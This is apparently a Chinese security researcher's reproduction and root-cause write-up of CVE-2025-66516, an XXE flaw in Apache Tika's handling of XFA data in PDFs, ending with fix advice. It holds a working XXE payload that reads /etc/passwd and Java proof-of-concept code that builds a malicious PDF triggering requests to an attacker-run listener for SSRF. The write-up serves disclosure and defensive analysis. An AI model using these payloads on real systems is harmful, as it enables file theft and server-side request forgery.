0x0 背景介绍
Tika Pdf Parser Module是Apache软件基金会开发的Java库,专用于解析PDF文件内容。核心功能包括文本提取、元数据解析及嵌入式对象处理,基于Apache Tika框架实现,依赖PDFBox等开源库。
Apache Tika的tika-core(1.13-3.2.1)、tika-pdf-module(2.0.0-3.2.1)和tika-parsers(1.13-1.28.5)模块存在严重XXE漏洞(跨平台),攻击者可通过构造PDF内的XFA文件实施XML外部实体注入攻击。
本CVE与CVE-2025-54988描述的是同一漏洞,但在受影响包范围上进行了两处扩展。
0x1 环境搭建
Ubuntu24快速搭建配置
1#项目创建 2mkdir tika-CVE-2025-66516 && cd tika-CVE-2025-66516 3 4#拉取环境&启动(使用 tika-server 可快速验证远程 SSRF;若需本地调试,建议使用 tika-app-3.2.1.jar) 5wget https://repo1.maven.org/maven2/org/apache/tika/tika-server-standard/3.2.1/tika-server-standard-3.2.1.jar 6java -jar tika-server-standard-3.2.1.jar -p 9998 --host 0.0.0.0 7

0x2 漏洞复现
1、附一个文件读取PDF,我看已经有扫描的POC就不做了
1、读取passwd功能
1https://github.com/Kai-One001/cve-/blob/main/CVE-2025-66516-xfa-passwd.pdf 2
2、可利用XFA内容(XML)
1<?xml version="1.0" encoding="UTF-8"?> 2<!DOCTYPE xdp:xdp [ 3 <!ENTITY xxe SYSTEM "file:///etc/passwd"> 4]> 5<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/" xml:lang="en"> 6<config xmlns="http://www.xfa.org/schema/xci/3.1/"> 7 <present><pdf><version>1.7</version></pdf></present> 8</config> 9<template xmlns="http://www.xfa.org/schema/xfa-template/3.3/"> 10 <subform name="form1" layout="tb"> 11 <pageSet> 12 <pageArea><contentArea/><medium stock="letter"/></pageArea> 13 </pageSet> 14 <subform> 15 <field name="data"> 16 <ui><textEdit/></ui> 17 <value><text>&xxe;</text></value> 18 </field> 19 </subform> 20 </subform> 21</template> 22<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/"> 23 <xfa:data><form1><data>&xxe;</data></form1></xfa:data> 24</xfa:datasets> 25</xdp:xdp> 26
- 定义外部实体,指向本地文件:
<!ENTITY xxe SYSTEM "file:///etc/passwd"> - 在 XFA 模板中引用实体:
Tika 提取为文本<text>&xxe;</text>
2、伪造SSRF场景
场景说明:搭建带外(OOB)检测服务器,验证 SSRF 是否成功发起外部请求(本地闭环测试)
攻击者
- 假设攻击者设备,发布
8080服务,等待带外数据
1from http.server import BaseHTTPRequestHandler, HTTPServer 2 3class Handler(BaseHTTPRequestHandler): 4 def do_GET(self): 5 self.send_response(200) 6 self.send_header('Content-type', 'text/plain') 7 self.end_headers() 8 9 # 关键:必须是纯 ASCII 文本,不能有引号/特殊字符 10 11 self.wfile.write(b"SSRF_SUCCESS")#仅此一行 12 13if __name__ == "__main__": 14 server = HTTPServer(('0.0.0.0', 8080), Handler) 15 print("Server running on http://0.0.0.0:8080") 16 server.serve_forever() 17 18
- 启动环境
1python server.py 2

漏洞利用模拟
POC文件
1cat > CreateProbePdf.java << 'EOF' 2import org.apache.pdfbox.cos.COSArray; 3import org.apache.pdfbox.cos.COSName; 4import org.apache.pdfbox.cos.COSString; 5import org.apache.pdfbox.pdmodel.PDDocument; 6import org.apache.pdfbox.pdmodel.common.PDStream; 7import org.apache.pdfbox.pdmodel.interactive.form.PDAcroForm; 8import java.io.ByteArrayInputStream; 9import java.nio.charset.StandardCharsets; 10 11public class CreateProbePdf { 12 public static void main(String[] args) throws Exception { 13 if (args.length < 2) { 14 System.err.println("Usage: java CreateProbePdf <output.pdf> \"<ENTITY_PAYLOAD>\""); 15 return; 16 } 17 18 String outputFile = args[0]; 19 String entityPayload = args[1]; // e.g., "http://192.168.63.128:8080/" 20 21 PDDocument doc = new PDDocument(); 22 PDAcroForm form = new PDAcroForm(doc); 23 doc.getDocumentCatalog().setAcroForm(form); 24 25 // 关键:内嵌 DTD + 纯文本实体 26 String xfa = "<?xml version=\"1.0\"?>\n" + 27 "<!DOCTYPE xfa [\n" + 28 " <!ENTITY test SYSTEM \"" + entityPayload + "\">\n" + 29 "]>\n" + 30 "<xdp:xdp xmlns:xdp=\"http://ns.adobe.com/xdp/\">\n" + 31 " <template xmlns=\"http://www.xfa.org/schema/xfa-template/2.8/\">\n" + 32 " <subform name=\"form1\">\n" + 33 " <field name=\"leak\">\n" + 34 " <ui><textEdit/></ui>\n" + 35 " <value><text>&test;</text></value>\n" + // 保留 36 " </field>\n" + 37 " </subform>\n" + 38 " </template>\n" + 39 " <xfa:datasets xmlns:xfa=\"http://www.xfa.org/schema/xfa-data/1.0/\">\n" + 40 " <xfa:data><leak>&test;</leak></xfa:data>\n" + // 保留 41 " </xfa:datasets>\n" + 42 "</xdp:xdp>"; 43 44 byte[] bytes = xfa.getBytes(StandardCharsets.UTF_8); 45 PDStream xfaStream = new PDStream(doc, new ByteArrayInputStream(bytes)); 46 47 COSArray xfaArray = new COSArray(); 48 xfaArray.add(new COSString("config.xml")); // 名称占位(符合 PDF 规范) 49 xfaArray.add(xfaStream); // 真实 XFA 数据流 50 51 form.getCOSObject().setItem(COSName.XFA, xfaArray); 52 doc.save("evil-xfa.pdf"); 53 doc.close(); 54 System.out.println("YES to evil-xfa.pdf generated"); 55 } 56 57} 58EOF 59
1 2#附jar包 3https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar 4 5https://repo1.maven.org/maven2/org/apache/pdfbox/pdfbox-app/2.0.30/pdfbox-app-2.0.30.jar 6 7
1#编译 2javac -cp pdfbox-app-2.0.30.jar CreateProbePdf.java 3 4#运行生成恶意PDF 5java -cp ".:pdfbox-app-2.0.30.jar" CreateProbePdf any_name.pdf "http://192.168.63.128:8080/" 6
- 搭建一个本地利用窗口,模拟
pdf被tika解析
1//攻击框架 PdfDemo.java 2import java.io.InputStream; 3import java.nio.file.*; 4import org.apache.tika.metadata.Metadata; 5import org.apache.tika.parser.AutoDetectParser; 6import org.apache.tika.parser.ParseContext; 7import org.apache.tika.sax.BodyContentHandler; 8 9public class PdfDemo { 10 public static void main(String[] args) throws Exception { 11 try (InputStream is = Files.newInputStream(Paths.get("evil-xfa.pdf"))) { 12 BodyContentHandler handler = new BodyContentHandler(-1); // -1 防截断 13 Metadata metadata = new Metadata(); 14 ParseContext context = new ParseContext(); 15 16 AutoDetectParser parser = new AutoDetectParser(); 17 parser.parse(is, handler, metadata, context); 18 19 System.out.println("=== 获取内容 ==="); 20 System.out.println(handler.toString()); 21 } 22 } 23 24} 25
1javac -cp tika-app-3.2.1.jar PdfDemo.java 2java -cp ".:tika-app-3.2.1.jar" PdfDemo 3


3、复现流量特征 (PCAP)
emmm长话短说,没来得及整,但是上传肯定能监控到的,恶意PDF内容如下:

0x3 漏洞原理分析
漏洞定位
已知:构造的 PDF 中包含 <text>&xxe;</text>用 tika-app-3.2.1.jar 解析后,&xxe; 被替换成实际内容,漏洞发生在XFA 内容被当作XML 解析的步骤
(1)入口:PDFParser 提取 XFA
找到PDF文件夹,定位文件PDFParser.java文件,快速预览见方法
1//tika-3.2.1\tika-parsers\tika-parsers-standard\tika-parsers-standard-modules\tika-parser-pdf-module\src\main\java\org\apache\tika\parser\pdf\PDFParser.java 2 private void handleXFAOnly(PDDocument pdDocument, ContentHandler handler, Metadata metadata, 3 ParseContext context) 4 throws SAXException, IOException, TikaException { 5 XFAExtractor ex = new XFAExtractor(); 6 XHTMLContentHandler xhtml = new XHTMLContentHandler(handler, metadata); 7 xhtml.startDocument(); 8 try (InputStream is = 9 UnsynchronizedByteArrayInputStream.builder().setByteArray(pdDocument.getDocumentCatalog().getAcroForm(null).getXFA().getBytes()).get()) { 10 ex.extract(is, xhtml, metadata, context); 11 } catch (XMLStreamException e) { 12 throw new TikaException("XML error in XFA", e); 13 } 14 xhtml.endDocument(); 15 } 16 17
(2)核心解析:XFAExtractor 使用 StAX
明确将 XFA 字节流交给 XFAExtractor 处理,跟踪下该方法(Ctrl+单击跳转方法)
1//\tika-3.2.1\tika-parsers\tika-parsers-standard\tika-parsers-standard-modules\tika-parser-pdf-module\src\main\java\org\apache\tika\parser\pdf\XFAExtractor.java 2XMLStreamReader reader = XMLReaderUtils.getXMLInputFactory(context).createXMLStreamReader(xfaIs); 3
看核心方法 extract()注意到:XMLStreamReader是Java StAX API的核心接口,StAX 默认会解析并展开外部实体,除非显式禁用
(3)配置集中管理:XMLReaderUtils
所有XML解析器的创建均委托给统一工具类XMLReaderUtils:
在开头,声明引入的库
1import org.apache.tika.utils.XMLReaderUtils; 2
定位文件位置:
1tika-core\src\main\java\org\apache\tika\utils\XMLReaderUtils.java 2
该文件包含多种的解析器,进一步证明是统一管理入口:
1//tika-core\src\main\java\org\apache\tika\utils\XMLReaderUtils.java 2public static SAXParser getSAXParser() throws TikaException { ... } 3public static DocumentBuilder getDocumentBuilder() throws TikaException { ... } 4public static XMLInputFactory getXMLInputFactory() { ... } 5public static Transformer getTransformer() throws TikaException { ... } 6
能看到有多重防御XXE方案
1factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); 2trySetSAXFeature(factory, "http://xml.org/sax/features/external-general-entities", false); 3trySetSAXFeature(factory, "http://xml.org/sax/features/external-parameter-entities", false); 4trySetSAXFeature(factory, "http://apache.org/xml/features/nonvalidating/load-external-dtd", false); 5trySetSAXFeature(factory, "http://apache.org/xml/features/nonvalidating/load-dtd-grammar", false); 6
不过在XMLInputFactory getXMLInputFactory()中,能构造的XFA数据包利用XXE
1public static XMLInputFactory getXMLInputFactory() { 2 XMLInputFactory factory = XMLInputFactory.newFactory(); 3 tryToSetStaxProperty(factory, IS_NAMESPACE_AWARE, true); 4 tryToSetStaxProperty(factory, IS_VALIDATING, false); 5 factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER); // 以为这能防 XXE(实际返回空字符串) 6 trySetStaxSecurityManager(factory); 7 return factory; 8} 9 10
(4)整体工作流:
1PDFParser 提取 XFA 字节流 → 交给 XFAExtractor 2XFAExtractor 调用 XMLReaderUtils.getXMLInputFactory() → 获取不安全的 factory 3factory 创建 XMLStreamReader → 解析恶意 XFA 4StAX 遇到 <!DOCTYPE ...> → 加载外部实体 5遇到 &xxe; → 展开为文件内容/发起 HTTP 请求 6内容被写入 XHTMLContentHandler → 最终输出到你的 handler.toString() 7
(5)结论:
只要DTD没被禁用,解析器就会先解析DOCTYPE声明,这时候即使后面用resolver返回空,攻击者仍可能利用DTD内部的结构(比如参数实体)发起攻击。所以根本解法是像 SAX 那样,显式设置SUPPORT_DTD=false。
0x4 修复建议
修复方案
- 官方已发布漏洞通告,建议受影响的用户依据官方通告进行修复。apache tika
- 临时防护措施:
配置XML解析器:如SAXParser、DOMParser禁用外部实体加载功能,或使用安全的XML解析库
限制文件上传来源:建议仅允许可信来源上传,并对文件内容进行监控分析
部署WAF规则:部署Web应用防火墙,拦截恶意XML实体声明
免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。